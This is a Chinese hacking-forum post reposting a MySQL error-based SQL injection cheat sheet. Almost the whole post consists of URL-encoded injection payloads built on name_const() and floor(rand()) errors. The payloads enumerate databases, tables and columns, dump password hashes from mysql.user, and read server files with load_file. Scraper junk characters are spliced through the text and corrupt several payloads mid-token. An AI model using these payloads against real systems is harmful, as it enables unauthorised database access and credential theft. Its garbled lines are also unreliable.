找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2000|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
/ ~( z/ k1 S. L+ r3 `
& J' ?  f8 ]5 c, E! i  t5 m) G, F% n0 J  W
Mysql暴错注入参考(pdf),每天一贴。。。
. }7 O; j, A, p3 Q8 ]* `, M" P2 ]+ ^! N$ v* y% g* P
MySql Error Based Injection Reference
* E7 b4 o8 U1 }) U" l[Mysql暴错注入参考]' X/ ?* `/ P: j) I6 B
Authornig0s1992) K4 \9 l9 K2 ^- I" b. c. K
Blog:http://pnig0s1992.blog.51cto.com/
$ ^) a) F! w: XTeAm:http://www.FreeBuf.com/2 E) {/ T4 b8 i' z8 L
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
$ E+ i0 i) e$ z. o+ ^0 U小部分版本使用name_const()时会报错.可以用给出的Method.2测试
! \. x+ y0 f: x' K" N& S8 N* N查询版本:
9 O1 x+ |. C3 b) JMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+: d8 x; D7 M. i
join+(select+name_const(@@version,0))b)c)0 g. p2 V- J/ [  v* ^  d# a
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
( l" y; _) ^+ B" i5 ~, b) X- Q3 k: Zup by a)b): S4 y. w/ \6 `7 l0 \: o
查询当前用户:' {1 H: [  P' ]+ s( L6 V  k
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)7 i2 r: L; C4 `
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
5 F( j, a$ F/ j$ i, R1 m4 y) Zand(0)*2))x+from+information_schema.tables+group+by+x)a)
# L, r5 S4 V1 a3 N% w, ^6 s$ {* a查询当前数据库:3 b- ~! {" q9 }* a
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
& \) }6 z4 F  X( G- ^, `6 GMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo" ~% I- y) b. g( Q3 C7 z" i
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
- z4 v( `/ N3 P& L依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+& b' }  D$ B) S) }5 A  K
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n  a) K+ m! ^2 _4 L. X: L% V: @
顺序替换
1 N9 O, J; k+ d7 R) S+ a爆指定库数目:
* d" ?% o6 K$ G: n' u- v+ Band+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
: P, S; R4 d9 d9 ?4 f; j4 G$ Rable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
) D* Q& p% |' \/ H6 X1 q: J+by+x)a)+and+1=1 0x6D7973716C=mysql+ s0 F/ w* m( O* b6 l
依次爆表:
$ K+ M5 \& K/ K7 F! `, Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t+ S5 q+ b+ Z0 G7 I
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta) Y/ w5 W5 f5 t. E6 G8 @
bles+group+by+x)a)+and+1=1( p. Y+ x! v& N6 s! Q5 J
0x6D7973716C=Mysql 将n顺序替换
, {6 b3 H" i; Q0 E7 D( t7 H" s爆表内字段数目:9 T; [/ F. W. x! ?6 c6 O2 ^9 u6 O
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
" m7 C. H5 @( ?; O+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran2 p. t% k. I8 f8 ^! t
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- ~3 e/ O0 u9 C- p& _" ?依次爆字段:
6 r4 X2 @& V$ [' u* e; W  I% Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where; z* j2 H, ]2 v; J
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
' [6 Y* f3 A1 t, o1 L8 G1 r9 Gloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换0 @! g- F2 y0 N
依次暴内容:
! J/ y; _) \$ F! @and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche- M! [1 K- y  P% e) R9 e1 @
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1+ X  b" x* w2 C' U
将n顺序替换2 _! F* l8 l, P. Q
爆文件内容:
) u$ C: m2 {& p/ u$ k. r  P8 vand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
0 r  ^  {  o6 _4 |5 n0 [7 D5 o3 nfrom+information_schema.tables+group+by+a)b) # m. B- o5 O- @* P: `
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
, \! l* R3 H' m1 uThx for reading.
. F4 ^3 L2 [& r; I) A7 j; y# n; q; i7 d$ Z: C' c( E
不要下载也可以, # T1 l. Z  j+ O: T$ \9 w- v9 A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表